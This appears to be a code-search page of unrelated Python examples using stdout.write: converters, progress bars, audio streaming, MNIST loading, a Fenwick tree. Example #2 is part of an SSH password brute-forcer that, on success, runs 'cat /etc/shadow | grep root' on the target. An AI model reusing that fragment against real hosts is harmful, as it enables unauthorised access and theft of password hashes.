예제 #1
0
def tojade(indent, obj):
    if isinstance(obj, Doctype):
        stdout.write(obj.output_ready())
    elif isinstance(obj, NavigableString):
        lines = unicode(obj).splitlines()
        lines = [line.lstrip() for line in lines]
        if STRIP_WRAPPING_EMPTY_LINES:
            lines = strip_wrapping_empty_lines(lines)
        if isinstance(obj, Comment):
            if len(lines) > SINGLE_LINE_COMMENT_THRESHOLD:
                prints(indent, '//')
                prints(indent + 1, lines, mapper=lambda x: x.lstrip())
            else:
                for line in lines:
                    prints(indent, '// ' + line.lstrip())
        else:
            prints(indent, lines, '| ')
    elif isinstance(obj, Tag):
        if isinstance(obj, BeautifulSoup):
            stdout.write('!!! xml\n')
        else:
            attrs = []
            for k, v in obj.attrs.iteritems():
                attrs.append('%s=%s' % (k, json.dumps(v)))
            tag_header = obj.name
            if attrs:
                tag_header += '(%s)' % ', '.join(attrs)
            prints(indent, tag_header)
            indent += 1
        for child in obj.children:
            tojade(indent, child)
예제 #2
0
def connect(host, user, password, release):
    global Found
    global Fails

    try:
        ssh_newkey = 'Are you sure you want to continue connecting'
        connStr = 'ssh ' + user + '@' + host
        child = pexpect.spawn(connStr)
        ret = child.expect([pexpect.TIMEOUT, ssh_newkey,\
                        '[P|p]assword:'])
        if ret == 2:
            child.sendline(password)
            child.expect(PROMPT)
            stdout.write('\n\n[+] Password Found: %s' % password)
            stdout.write('\n\n')
            send_command(child, 'cat /etc/shadow | grep root')
#            send_command(child, 'cat /etc/shadow | grep %s' % user)
            Found = True
    except Exception as e:
        return
        if 'read_nonblocking' in str(e):
            Fails += 1
            time.sleep(5)
            connect(host, user, password, False)
        elif 'synchronize with original prompt' in str(e):
            time.sleep(1)
            connect(host, user, password, False)
    finally:
            if release: connection_lock.release()
예제 #3
0
    def _update_title(self, title, platform):
        """
        Updates the window title using different methods, according to the given platform.
        :param title: The new window title.
        :type title: string
        :param platform: The platform string.
        :type platform: string
        :return: Nothing.
        :rtype: None
        :raise: RuntimeError: When the given platform isn't supported.
        """

        try:
            if platform == "linux" or platform == "linux2" or platform == "cygwin":
                stdout.write("\x1b]2;{}\x07".format(title))
                stdout.flush()
            elif platform == "darwin":
                stdout.write("\033]0;{}\007".format(title))
                stdout.flush()
            elif platform == "win32":
                ctypes.windll.kernel32.SetConsoleTitleA(title.encode())
            else:
                raise RuntimeError("unsupported platform '{}'".format(platform))
        except AttributeError:
            self.emit_event(
                'log_stats',
                level='error',
                formatted="Unable to write window title"
            )
            self.terminal_title = False

        self._compute_next_update()
예제 #4
0
 def out(*text):
     if isinstance(text, str):
         stdout.write(text)
     else:
         for c in text:
             stdout.write(str(c))
     stdout.flush()
예제 #5
0
def __stream_audio_realtime(filepath, rate=44100):
    total_chunks = 0
    format = pyaudio.paInt16
    channels = 1 if sys.platform == 'darwin' else 2
    record_cap = 10 # seconds
    p = pyaudio.PyAudio()
    stream = p.open(format=format, channels=channels, rate=rate, input=True, frames_per_buffer=ASR.chunk_size)
    print "o\t recording\t\t(Ctrl+C to stop)"
    try:
        desired_rate = float(desired_sample_rate) / rate # desired_sample_rate is an INT. convert to FLOAT for division.
        for i in range(0, rate/ASR.chunk_size*record_cap):
            data = stream.read(ASR.chunk_size)
            _raw_data = numpy.fromstring(data, dtype=numpy.int16)
            _resampled_data = resample(_raw_data, desired_rate, "sinc_best").astype(numpy.int16).tostring()
            total_chunks += len(_resampled_data)
            stdout.write("\r  bytes sent: \t%d" % total_chunks)
            stdout.flush()
            yield _resampled_data
        stdout.write("\n\n")
    except KeyboardInterrupt:
        pass
    finally:
        print "x\t done recording"
        stream.stop_stream()
        stream.close()
        p.terminate()   
예제 #6
0
파일: pimento.py 프로젝트: j0npau1/pimento
def record(session):
    starttime = time.time()
    call ("clear")
    print "Time-lapse recording started", time.strftime("%b %d %Y %I:%M:%S", time.localtime())
    print "CTRL-C to stop\n"
    print "Frames:\tTime Elapsed:\tLength @", session.fps, "FPS:"
    print "----------------------------------------"

    while True:
        routinestart = time.time()

        send_command(session)
        
        session.framecount += 1

        # This block uses the time module to format the elapsed time and final
        # video time displayed into nice xx:xx:xx format. time.gmtime(n) will
        # return the day, hour, minute, second, etc. calculated from the
        # beginning of time. So for instance, time.gmtime(5000) would return a
        # time object that would be equivalent to 5 seconds past the beginning
        # of time. time.strftime then formats that into 00:00:05. time.gmtime
        # does not provide actual milliseconds though, so we have to calculate
        # those seperately and tack them on to the end when assigning the length
        # variable. I'm sure this isn't the most elegant solution, so
        # suggestions are welcome.
        elapsed = time.strftime("%H:%M:%S", time.gmtime(time.time()-starttime))
        vidsecs = float(session.framecount)/session.fps
        vidmsecs = str("%02d" % ((vidsecs - int(vidsecs)) * 100))
        length = time.strftime("%H:%M:%S.", time.gmtime(vidsecs)) + vidmsecs

        stdout.write("\r%d\t%s\t%s" % (session.framecount, elapsed, length))
        stdout.flush()
        time.sleep(session.interval - (time.time() - routinestart))
예제 #7
0
def refresh_articles(articles, feeds, urls):
    for author, feed_urls in feeds.items():
        articles[author] = []
        relevant_urls = [url for url in feed_urls
                         if url in urls]
        for url in relevant_urls:
            stdout.write('parsing feed at %s.\n' % url)
            feed = feedparser.parse(urls[url]['data'])
            for entry in feed['entries']:
                updated = entry.get('updated_parsed')
                updated = date(year=updated.tm_year,
                               month=updated.tm_mon,
                               day=updated.tm_mday)
                content = entry.get('content', '')
                summary = entry.get('summary', '')
                summary_detail = entry.get('summary_detail', {})
                if not content:
                    if not (summary_detail and
                            summary_detail.get('value')):
                        if not summary:
                            pass
                        else:
                            content = [{'type': 'text/plain',
                                        'value': summary}]
                    else:
                        content = [summary_detail]
                if content:
                    article = {'url': entry.get('link'),
                               'title': entry.get('title'),
                               'pub_date': updated,
                               'content': content}
                    articles[author].append(article)
예제 #8
0
 def interactive_mode(self):
     '''
      interactive shell
     '''
     stop = 0
     while stop == 0:
         stdout.write("pepitoCLI>")
         line = stdin.readline()
         if line == "":
             stop = 1
             print "  \nBye."
         elif line != "\n":
             command = line.strip('\n').split('"')
             if command.count(""):
                 command.remove("")
             if len(command) > 1:
                 last = command[-1]
                 tmp = [c.split(" ") for c in command[:-1] if c != ""]
                 command = []
                 for c in tmp:
                     command.extend(c)
                 command.append(last)
                 if command.count(""):
                     command.remove("")
             else:
                 command = command[0]
                 command = line.strip("\n").split(" ")
             if command[0] == "help":
                 self.print_usage()
             else:
                 print command
                 self.send(command)
예제 #9
0
def main():
    if len(argv) >= 2:
        out = open(argv[1], 'a')
    else:
        out = stdout
    fmt1 = "{0:<16s} {1:<7s} {2:<7s} {3:<7s}\n"
    fmt2 = "{0:<16s} {1:7d} {2:7d} {3:6.2f}%\n"
    underlines = "---------------- ------- ------- -------".split()
    out.write(fmt1.format(*"File Lines Covered Percent".split()))
    out.write(fmt1.format(*underlines))
    total_lines, total_covered = 0, 0
    for percent, file, lines in sorted(coverage()):
        covered = int(round(lines * percent / 100))
        total_lines += lines
        total_covered += covered
        out.write(fmt2.format(file, lines, covered, percent))
    out.write(fmt1.format(*underlines))
    if total_lines == 0:
        total_percent = 100.0
    else:
        total_percent = 100.0 * total_covered / total_lines
    summary = fmt2.format("COVERAGE TOTAL", total_lines, total_covered,
                          total_percent)
    out.write(summary)
    if out != stdout:
        stdout.write(summary)
예제 #10
0
    def _posix_shell(self, chan):
        oldtty = termios.tcgetattr(stdin)
        try:
            # tty.setraw(stdin.fileno())
            # tty.setcbreak(stdin.fileno())
            chan.settimeout(0.0)

            while True:
                r, w, e = select([chan, stdin], [], [])
                if chan in r:
                    try:
                        x = chan.recv(128)
                        if len(x) == 0:
                            print "\r\n*** EOF\r\n",
                            break
                        stdout.write(x)
                        stdout.flush()
                        # print len(x), repr(x)
                    except socket.timeout:
                        pass
                if stdin in r:
                    x = stdin.read(1)
                    if len(x) == 0:
                        break
                    chan.sendall(x)
        finally:
            termios.tcsetattr(stdin, termios.TCSADRAIN, oldtty)
예제 #11
0
    def _windows_shell(self, chan):
        import threading

        stdout.write("Line-buffered terminal emulation. Press F6 or ^Z to send EOF.\r\n\r\n")

        def writeall(sock):
            while True:
                data = sock.recv(256)
                if not data:
                    stdout.write("\r\n*** EOF ***\r\n\r\n")
                    stdout.flush()
                    break
                stdout.write(data)
                stdout.flush()

        writer = threading.Thread(target=writeall, args=(chan,))
        writer.start()

        try:
            while True:
                d = stdin.read(1)
                if not d:
                    break
                chan.send(d)
        except EOFError:
            # user hit ^Z or F6
            pass
예제 #12
0
def getData(imagePath, labelPath):

    imageFile, labelFile = gzip.open(os.path.join(".", imagePath), 'rb'), gzip.open(os.path.join(".", labelPath), 'rb')

    iMagic, iSize, rows, cols = struct.unpack('>IIII', imageFile.read(16))
    lMagic, lSize = struct.unpack('>II', labelFile.read(8))

    x = zeros((lSize, rows, cols), dtype=uint8)
    y = zeros((lSize, 1), dtype=uint8)
    count = 0

    startTime = time()

    for i in range(lSize):
        for row in range(rows):
            for col in range(cols):
                x[i][row][col] = struct.unpack(">B", imageFile.read(1))[0]

        y[i] = struct.unpack(">B", labelFile.read(1))[0]
        count = count + 1
        if count % 101 == 0:
            stdout.write("Image: %d/%d. Time Elapsed: %ds  \r" % (i, lSize, time() - startTime))
            stdout.flush()
        #if count > 600:
#            break
    stdout.write("\n")

    return (x, y)
예제 #13
0
def testSoftmaxMNIST():
    x_, y_ = getData("training_images.gz", "training_labels.gz")
    
    
    N = 600
    
    x = x_[0:N].reshape(N, 784).T/255.0
    y = np.zeros((10, N))

    for i in xrange(N):
        y [y_[i][0]][i] = 1

    
    #nn1 = SimpleNN(784, 800, 10, 100, 0.15, 0.4, False)
    #nn2 = SimpleNN(784, 800, 10, 1, 0.15, 0.4, False)
    nn3 = Softmax(784, 800, 1, 10, 0.15, 0, False)
    nn4 = Softmax(784, 800, 10, 10, 0.35, 0, False)
    
    #nn1.Train(x, y)
    #nn2.Train(x, y)
    nn3.Train(x, y)
    nn4.Train(x, y)
    
    N = 10000    
    
    x_, y_ = getData("test_images.gz", "test_labels.gz")
    x = x_.reshape(N, 784).T/255.0
    y = y_.T

    correct = np.zeros((4, 1))

    print "Testing"
    startTime = time()
    for i in xrange(N):
        #h1 = nn1.Evaluate(np.tile(x.T[i].T, (1, 1)).T)
        #h2 = nn2.Evaluate(np.tile(x.T[i].T, (1, 1)).T)
        h3 = nn3.Evaluate(np.tile(x.T[i].T, (1, 1)).T)
        h4 = nn4.Evaluate(np.tile(x.T[i].T, (1, 1)).T)

        #if h1[y[0][i]][0] > 0.8:
        #    correct[0][0] += 1

        #if h2[y[0][i]][0] > 0.8:
        #    correct[1][0] += 1

        if h3[y[0][i]][0] > 0.8:
            correct[2][0] += 1

        if h4[y[0][i]][0] > 0.8:
            correct[3][0] += 1

        if(i > 0):
            stdout.write("Testing %d/%d image. Time Elapsed: %ds. \r" % (i, N, time() - startTime))
            stdout.flush()

    stdout.write("\n")
    #print "Accuracy 1: ", correct[0][0]/10000.0 * 100, "%"
    #print "Accuracy 2: ", correct[1][0]/10000.0 * 100, "%"
    print "Accuracy 3: ", correct[2][0]/10000.0 * 100, "%"
    print "Accuracy 4: ", correct[3][0]/10000.0 * 100, "%"     
예제 #14
0
파일: __init__.py 프로젝트: Veterun/mahotas
def citation(print_out=True, short=False):
    text = (short_citation_text if short else citation_text)
    if print_out:
        # Use a Python2/3 compatible form of printing:
        from sys import stdout
        stdout.write(text)
    return text
예제 #15
0
def waitServe(servert):
    """ Small function used to wait for a _serve thread to receive
    a GET request.  See _serve for more information.

    servert should be a running thread.
    """

    timeout = 10
    status = False

    try:
        while servert.is_alive() and timeout > 0:
            stdout.flush()
            stdout.write("\r\033[32m [%s] Waiting for remote server to "
                         "download file [%ds]" % (utility.timestamp(), timeout))
            sleep(1.0)
            timeout -= 1
    except:
        timeout = 0

    if timeout is not 10:
        print ''

    if timeout is 0:
        utility.Msg("Remote server failed to retrieve file.", LOG.ERROR)
    else:
        status = True

    return status
예제 #16
0
 def _load_dirs_files(self):
     ret = {'dirs': [], 'files': {}}
     for root, dirs, files in walk(self.skel_dir, topdown=False):
         # Let's use the relative path
         pieces = root.split('/')
         skel_pos = (pieces.index('skel') + 1)
         end_pos = (len(pieces) - 1)
         filepathlist = []
         while skel_pos <= end_pos:
             filepathlist.append(pieces[skel_pos])
             skel_pos += 1
         filepath = '/'.join(filepathlist)
         # Time to load the files
         for filename in files:
             filepath_real = path.join(filepath, filename)
             if self.verbose:
                 stdout.write('Found {0}\n'.format(filepath_real))
             ret['files'][filepath_real] = self.load_template(filepath_real)
         # Time to load the dirs
         for dirname in dirs:
             directory = path.join(filepath, dirname)
             if self.verbose:
                 stdout.write('Found {0}\n'.format(directory))
             ret['dirs'].append(directory)
     return (ret['dirs'], ret['files'])
예제 #17
0
    def segment(text):
        if not args.files and args.with_ids:
            tid, text = text.split('\t', 1)
        else:
            tid = None

        text_spans = rewrite_line_separators(
            normal(text), pattern, short_sentence_length=args.bracket_spans
        )

        if tid is not None:
            def write_ids(tid, sid):
                stdout.write(tid)
                stdout.write('\t')
                stdout.write(str(sid))
                stdout.write('\t')

            last = '\n'
            sid = 1

            for span in text_spans:
                if last == '\n' and span not in ('', '\n'):
                    write_ids(tid, sid)
                    sid += 1

                stdout.write(span)

                if span:
                    last = span
        else:
            for span in text_spans:
                stdout.write(span)
예제 #18
0
def main():
	for i, nugget in enumerate(gold_nugget_gen(),1):
		stdout.write( "%d: %d\r" %(i, nugget))
		stdout.flush()
		if i == 15:
			print "%d: %d" %(i, nugget)
			break
예제 #19
0
def run():
    _realA, _imagA = [float(x) for x in stdin.readline().split(" ")]
    _realB, _imagB = [float(x) for x in stdin.readline().split(" ")]
    ans = sumComplexNumbers(_realA, _imagA, _realB, _imagB)
    '''
    # https://pyformat.info/
    # https://docs.python.org/3.1/library/string.html
    http://stackoverflow.com/questions/7746143/formating-complex-numbers-in-python
    '''
    
    msg = '{:.2f}{:s}{:.2f}i\n'.format(ans.real, '' if ans.imag < 0 else '+', ans.imag)
    
    ans = minusComplexNumbers(_realA, _imagA, _realB, _imagB)
    msg += '{:.2f}{:s}{:.2f}i\n'.format(ans.real, '' if ans.imag < 0 else '+', ans.imag)
    
    ans = mulComplexNumbers(_realA, _imagA, _realB, _imagB)
    msg += '{:.2f}{:s}{:.2f}i\n'.format(ans.real, '' if ans.imag < 0 else '+', ans.imag)
    
    ans = divComplexNumbers(_realA, _imagA, _realB, _imagB)
    msg += '{:.2f}{:s}{:.2f}i\n'.format(ans.real, '' if ans.imag < 0 else '+', ans.imag)
    
    ans = modComplexNumber(_realA, _imagA)
    msg += '{:.2f}{:s}{:.2f}i\n'.format(ans.real, '' if ans.imag < 0 else '+', ans.imag)
    
    ans = modComplexNumber(_realB, _imagB)
    msg += '{:.2f}{:s}{:.2f}i\n'.format(ans.real, '' if ans.imag < 0 else '+', ans.imag)
    stdout.write(msg)
예제 #20
0
파일: draw.py 프로젝트: Brzoz/SICK
def drawtopbar(width):

	# First line:
	mline("top", width)

	# Second line:
	stdout.write( colored("║", "yellow" ) )
	beginwriting = ( int(width) / 2 ) - ( VERSION.__len__() ) - 2

	i = 0
	
	while i < int(width):
		if i < beginwriting:
			stdout.write(" ")
		elif i == beginwriting:
			stdout.write( colored( VERSION + " ║ " + OS, "yellow" ) )
			i += VERSION.__len__() + OS.__len__() + 4
		elif i >= int(width):
			pass # This can probably be done nicer
		else:
			stdout.write(" ")
		i += 1
	
	stdout.write( colored("║", "yellow" ) )

	# Third line:
	mline("bot", width)
예제 #21
0
파일: py_sPi.py 프로젝트: scottx611x/py_sPi
        def twilio_send(recipients):
            """
                Recursive method to ensure that all message are
                properly sent to each recipient defined
                NOTE: I had to introduce this feature because twilio
                would raise httplib2.ServerNotFoundError-s periodically
                param: recipients: dict in the form of  {<phone_number>: <message_send_state>, ...}
                returns: the same recipients dict with updated <message_send_states>
            """
            global RETRY_TWILIO_SEND

            if RETRY_TWILIO_SEND > 5:
                stdout.write(
                    "\nCan't reach twilio :( Waiting for a minute then trying again")

                time.sleep(60)
                RETRY_TWILIO_SEND = 0

            for number in recipients:
                try:
                    self.client.messages.create(
                        to=number,
                        from_="+15106626969",
                        body=body,
                        media_url=[dropbox_url]
                    )
                    recipients[number] = "SUCCESS"

                except (httplib2.ServerNotFoundError, Exception):
                    recipients[number] = "FAILURE"

            return recipients
    def warm(self):
        """
        Returns a 2-tuple:
        [0]: Number of images successfully pre-warmed
        [1]: A list of paths on the storage class associated with the
             VersatileImageField field being processed by `self` of
             files that could not be successfully seeded.
        """
        num_images_pre_warmed = 0
        failed_to_create_image_path_list = []
        total = self.queryset.count() * len(self.size_key_list)
        for a, instance in enumerate(self.queryset, start=1):
            for b, size_key in enumerate(self.size_key_list, start=1):
                success, url_or_filepath = self._prewarm_versatileimagefield(
                    size_key,
                    reduce(getattr, self.image_attr.split("."), instance)
                )
                if success is True:
                    num_images_pre_warmed += 1
                    if self.verbose:
                        cli_progress_bar(num_images_pre_warmed, total)
                else:
                    failed_to_create_image_path_list.append(url_or_filepath)

                if a * b == total:
                    stdout.write('\n')

        stdout.flush()
        return (num_images_pre_warmed, failed_to_create_image_path_list)
예제 #23
0
파일: table.py 프로젝트: mAzurkovic/PyTbl
def add_column(column_title, column_data):
    # This is for the column TITLE - eg. Title could be Animal Names
    for m in column_title:
        length = len(m)
        stdout.write('+' + '=' * (length + 2) + '+')
    print('\r')

    for m in column_title:
        line_pos_right = ' |'
        stdout.write('| ' + m + ' |')
    print('\r')

    for m in column_title:
        stdout.write('+' + '=' * (length + 2) + '+')
    print('\r')

# ----------------------------------------------------
    # This is for the DATA of the column - eg. Label == Animal Names, the Data would be Sparkles, Hunter, etc.
    for m in column_data:
        this_length = len(m)

        if this_length < length:
            wanted_l = length - this_length
        elif this_length > length:
            wanted_l = this_length - length

        stdout.write('| ' + m + ' ' * (wanted_l) + ' |')
        print('\r')

    stdout.write('+' + '-' * (length + 2) + '+')
예제 #24
0
 def log(logtype, message):
     func = inspect.currentframe().f_back
     log_time = time.time()
     if logtype != "ERROR":
         stdout.write('[%s.%s %s, line:%03u]: %s\n' % (time.strftime('%H:%M:%S', time.localtime(log_time)), str(log_time % 1)[2:8], logtype, func.f_lineno, message))
     else:
         stderr.write('[%s.%s %s, line:%03u]: %s\n' % (time.strftime('%H:%M:%S', time.localtime(log_time)), str(log_time % 1)[2:8], logtype, func.f_lineno, message))
예제 #25
0
def download_json_files():
    if not os.path.exists('/tmp/xmltv_convert/json'):
        os.makedirs('/tmp/xmltv_convert/json')

    page = urllib2.urlopen('http://json.xmltv.se/')
    soup = BeautifulSoup(page)
    soup.prettify()

    for anchor in soup.findAll('a', href=True):
        if anchor['href'] != '../':
            try:
                anchor_list = anchor['href'].split("_")
                channel = anchor_list[0]
                filedate = datetime.datetime.strptime(anchor_list[1][0:10], "%Y-%m-%d").date()
            except IndexError:
                filedate = datetime.datetime.today().date()

            if filedate >= datetime.datetime.today().date():
                if len(channels) == 0 or channel in channels or channel == "channels.js.gz":
                    stdout.write("Downloading http://xmltv.tvtab.la/json/%s " % anchor['href'])
                    f = urllib2.urlopen('http://xmltv.tvtab.la/json/%s' % anchor['href'])
                    data = f.read()
                    with open('/tmp/xmltv_convert/json/%s' % anchor['href'].replace('.gz', ''), 'w+ ') as outfile:
                        outfile.write(data)
                    stdout.write("Done!\n")
                    stdout.flush()
예제 #26
0
def main(argv=None):

    params = Params()
    
    try:
        if argv is None:
            argv = sys.argv
            args,quiet = params.parse_options(argv)
            params.check()     

        inputfile = args[0]
        
        try:
            adapter = args[1]
        except IndexError:
	    adapter = "AGATCGGAAGAGCACACGTCTGAACTCCAGTCAC" #default (5' end of Illimuna multiplexing R2 adapter)
	    if quiet == False:
	       stdout.write("Using default sequence for adapter: {0}\n".format(adapter))
	       stdout.flush()     
        
	unique = analyze_unique(inputfile,quiet)           
        clip_min,error_rate = analyze_clip_min(inputfile,adapter,quiet)

        return clip_min,unique,error_rate

    except Usage, err:
        print >> sys.stderr, sys.argv[0].split("/")[-1] + ": " + str(err.msg)
        print >> sys.stderr, ""
        return 2     
예제 #27
0
파일: mcmc.py 프로젝트: esheldon/espy
    def setup(self, type="constant", verbose=False):
        self.type = type
        self.verbose = verbose
        if self.type is "constant":

            # Set up the "data"
            ny = 10
            val, sigma = self.get_truepars()

            self.true_pars = val
            self.true_error = sigma
            self.npars = 1

            self.npoints = ny
            self.y = zeros(ny, dtype="f8")
            self.y[:] = val
            self.y[:] += sigma * randn(ny)

            self.yerr = zeros(ny, dtype="f8")
            self.yerr[:] = sigma

            self.ivar = 1.0 / self.yerr ** 2

            # step sizes
            self.step_sizes = sigma / sqrt(ny)

            # self.parguess=val + 3*sigma*randn()
            self.parguess = 0.0

            if verbose:
                stdout.write('  type: "constant"\n')
                stdout.write(
                    "  true_pars: %s\n  npars: %s\n  step_sizes: %s\n" % (self.true_pars, self.npars, self.step_sizes)
                )
예제 #28
0
def statusBar(step, total, bar_len=20, onlyReturn=False):
    """
    print a ASCI-art statusbar of variable length e.g.showing 25%:

    >>> step = 25
    >>> total = 100

    >>> print( statusBar(step, total, bar_len=20, onlyReturn=True) )
    \r[=====o---------------]25%

    as default onlyReturn is set to False
    in this case the last printed line would be flushed every time when
    the statusbar is called to create a the effect of one moving bar
    """

    norm = 100.0 / total
    step *= norm
    step = int(step)
    increment = 100 // bar_len
    n = step // increment
    m = bar_len - n
    text = "\r[" + "=" * n + "o" + "-" * m + "]" + str(step) + "%"
    if onlyReturn:
        return text
    stdout.write(text)
    stdout.flush()
예제 #29
0
def progress (itr):
    t0 = time()
    for i in itr:
        stdout.write ('.')
        stdout.flush ()
	yield i
    stdout.write ('[%.2f]\n' %(time()-t0))
def cli_progress_bar(start, end, bar_length=50):
    """
    Prints out a Yum-style progress bar (via sys.stdout.write).
    `start`: The 'current' value of the progress bar.
    `end`: The '100%' value of the progress bar.
    `bar_length`: The size of the overall progress bar.

    Example output with start=20, end=100, bar_length=50:
    [###########----------------------------------------] 20/100 (100%)

    Intended to be used in a loop. Example:
    end = 100
    for i in range(end):
        cli_progress_bar(i, end)

    Based on an implementation found here:
        http://stackoverflow.com/a/13685020/1149774
    """
    percent = float(start) / end
    hashes = '#' * int(round(percent * bar_length))
    spaces = '-' * (bar_length - len(hashes))
    stdout.write(
        "\r[{0}] {1}/{2} ({3}%)".format(
            hashes + spaces,
            start,
            end,
            int(round(percent * 100))
        )
    )
    stdout.flush()
예제 #31
0
def test_file_generator(db_cursor, all_spells, alt_spells, test_master_file):

    # Requesite progress text
    line_count = 0
    for spell in all_spells:
        line_count += 1
        per = line_count / float(len(all_spells)) * 100
        stdout.write("%s\rGenerating: %d%%%s" %
                     (colorz.PURPLE, per, colorz.ENDC))
        stdout.flush()

        # Handle alt spells
        # They should be placed in the same alphabetical order as regular spells
        if alt_spells:
            while True:
                if spell_name_sort(alt_spells[0]) < spell_name_sort(spell):
                    db_cursor.execute("SELECT name FROM spell WHERE id = ?",
                                      (alt_spells[0][0], ))
                    alt_spell_name = db_cursor.fetchone()[0]
                    test_master_file.write("    %s\n" % alt_spells[0][1])
                    test_master_file.write("See \"%s\"\n" % alt_spell_name)
                    test_master_file.write("\n")
                    alt_spells.pop(0)
                    if not alt_spells:
                        break
                else:
                    break

    #################
    # Name and Book #
    #################
        spell_id = spell[0]
        db_cursor.execute(
            "SELECT book_id, page FROM spell_book WHERE spell_id = ?",
            (spell_id, ))
        book_meta_info = db_cursor.fetchall()
        spell_books = []
        for book in book_meta_info:
            book = list(book)
            db_cursor.execute("SELECT name FROM book WHERE id = ?",
                              (book[0], ))
            book[0] = db_cursor.fetchone()[0]
            if book[1]:
                book[1] = str(book[1])
                book[1] = "(pg %s)" % book[1]
            else:
                book[1] = ''
            book = " ".join(book).strip()
            spell_books.append(book)
        test_master_file.write("    %s [%s]\n" %
                               (spell[1], ", ".join(spell_books)))

        #####################################
        # School, subschool, and descriptor #
        #####################################
        db_cursor.execute(
            "SELECT school_id FROM spell_school WHERE spell_id = ?",
            (spell_id, ))
        school_meta_info = db_cursor.fetchall()
        spell_schools = []
        for school in school_meta_info:
            school_id = school[0]
            db_cursor.execute("SELECT name FROM school WHERE id = ?",
                              (school_id, ))
            spell_schools.append(db_cursor.fetchone()[0])
        test_master_file.write("/".join(spell_schools))

        db_cursor.execute(
            "SELECT subschool_id FROM spell_subschool WHERE spell_id = ?",
            (spell_id, ))
        subschool_meta_info = db_cursor.fetchall()
        if subschool_meta_info:
            spell_subschools = []
            for subschool in subschool_meta_info:
                subschool_id = subschool[0]
                db_cursor.execute("SELECT name FROM subschool WHERE id = ?",
                                  (subschool_id, ))
                spell_subschools.append(db_cursor.fetchone()[0])
            test_master_file.write(" (%s)" % ", ".join(spell_subschools))

        db_cursor.execute(
            "SELECT descriptor_id FROM spell_descriptor WHERE spell_id = ?",
            (spell_id, ))
        descriptor_meta_info = db_cursor.fetchall()
        if descriptor_meta_info:
            spell_descriptors = []
            for descriptor in descriptor_meta_info:
                descriptor_id = descriptor[0]
                db_cursor.execute("SELECT name FROM descriptor WHERE id = ?",
                                  (descriptor_id, ))
                spell_descriptors.append(db_cursor.fetchone()[0])
            test_master_file.write(" [%s]" % ", ".join(spell_descriptors))
        test_master_file.write("\n")

        ############################
        # Classes and spell levels #
        ############################
        # Class #
        db_cursor.execute(
            "SELECT class_id, level, subtype FROM spell_class WHERE spell_id = ?",
            (spell_id, ))
        class_meta_info = db_cursor.fetchall()
        spell_classes = []
        for character_class in class_meta_info:
            class_id = character_class[0]
            db_cursor.execute("SELECT name FROM class WHERE id = ?",
                              (class_id, ))
            if character_class[2]:
                spell_classes.append(" ".join([
                    db_cursor.fetchone()[0],
                    "(%s)" % character_class[2],
                    str(character_class[1])
                ]))
            else:
                spell_classes.append(" ".join(
                    [db_cursor.fetchone()[0],
                     str(character_class[1])]))
        # Domain #
        db_cursor.execute(
            "SELECT domain_feat_id, level FROM spell_domain_feat WHERE spell_id = ?",
            (spell_id, ))
        class_meta_info = db_cursor.fetchall()
        for character_class in class_meta_info:
            class_id = character_class[0]
            db_cursor.execute("SELECT name FROM domain_feat WHERE id = ?",
                              (class_id, ))
            spell_classes.append(" ".join(
                [db_cursor.fetchone()[0],
                 str(character_class[1])]))
        spell_classes = sorted(spell_classes)
        test_master_file.write("Level: %s\n" % ", ".join(spell_classes))

        #####################
        # Spell Componentes #
        #####################
        #print spell[1]
        db_cursor.execute(
            "SELECT component_id FROM spell_component WHERE spell_id = ?",
            (spell_id, ))
        component_meta_info = db_cursor.fetchall()
        spell_components = []
        if component_meta_info:
            for component_id in component_meta_info:
                component_id = component_id[0]
                db_cursor.execute(
                    "SELECT short_hand FROM component WHERE id = ?",
                    (component_id, ))
                spell_components.append(db_cursor.fetchone()[0])
            test_master_file.write("Components: %s\n" %
                                   ", ".join(spell_components))

    #####################
    # Spell Description #
    #####################
        db_cursor.execute("SELECT * FROM spell WHERE id = ?", (spell_id, ))
        spell_meta_info = db_cursor.fetchone()
        if spell_meta_info[2]:
            test_master_file.write("Casting Time: %s\n" % spell_meta_info[2])
        if spell_meta_info[3]:
            test_master_file.write("Range: %s\n" % spell_meta_info[3])
        if spell_meta_info[4]:
            test_master_file.write("Target: %s\n" % spell_meta_info[4])
        if spell_meta_info[5]:
            test_master_file.write("Effect: %s\n" % spell_meta_info[5])
        if spell_meta_info[6]:
            test_master_file.write("Area: %s\n" % spell_meta_info[6])
        if spell_meta_info[7]:
            test_master_file.write("Duration: %s\n" % spell_meta_info[7])
        if spell_meta_info[8]:
            test_master_file.write("Saving Throw: %s\n" % spell_meta_info[8])
        if spell_meta_info[9]:
            test_master_file.write("Spell Resistance: %s\n" %
                                   spell_meta_info[9])
        if spell_meta_info[10]:
            test_master_file.write("    %s\n" % spell_meta_info[10])

        test_master_file.write("\n")

    print "%s COMPLETE%s" % (colorz.PURPLE, colorz.ENDC)
예제 #32
0
import sys
from sys import stdin
from sys import stdout
#------------------------------------
stdout.write("Ile liczb podzielnych przez 4 chcesz wyeksportowac do pliku?: ")
a = (int(stdin.readline()))
b = [4 * i for i in range(1, a + 1)]
try:
    with open("python4_01.txt", "w") as plik:
        plik.write("Wyeksportowane liczby: " + str(b))
        stdout.write("Wyeksportowano")
        plik.close()
except PermissionError:
    stdout.write("Brak uprawnien!")
예제 #33
0
#generation = createGeneration(number, size)
for iteration in range(11, batch):
    start_time = time.time()
    seeds = []
    for _ in range(0, 5):
        seeds.append(random.randint(0, 100000000))

    print("")
    print("")
    print("--- Batch " + str(iteration) + " ---")
    print("")
    scores = []
    for index, indiv in enumerate(generation):
        message = "\rindiv. " + str(index) + "/" + str(len(generation))
        stdout.write(message)
        stdout.flush()
        scores.append([fitness(indiv, seeds, pieceLimit), indiv])
    print "\n"
    for value in (list(reversed(sorted(scores, key=itemgetter(0))))):
        print(value)
    survivors = selectBestIndividuals(scores, int(len(scores)*survivors_rate))
    print(len(survivors))
    generation = survivors

    average = computeAverage(survivors)
    extra_var_multiplier = max((1.0-iteration/float(batch/2)),0)
    std = list(map(lambda std: std + 0.001 * extra_var_multiplier, computeStandardDeviation(survivors)))

    print ""
    print "time elapsed: ", time.time() - start_time
예제 #34
0
			i = (i & (i + 1)) - 1
		return result

	def get_sum(self, left, right):
		if left == 0:
			result = self.get_pre_sum(right)
		else:
			result = self.get_pre_sum(right) - self.get_pre_sum(left - 1)
		return result

	def set_elem(self, idx, elem):
		delta = elem - self.array[idx]
		self.array[idx] = elem
		i = idx
		while i < n:
			self.pre_sum[i] += delta
			i = i | (i + 1)
		return


n = int(input())
array = list(map(int, input().split(' ')))
tree = Fenv_tree(n, array)

for row in stdin:
	row = row.split(' ')
	if row[0] == 'sum':
		result = tree.get_sum(int(row[1]) - 1, int(row[2]) - 1)
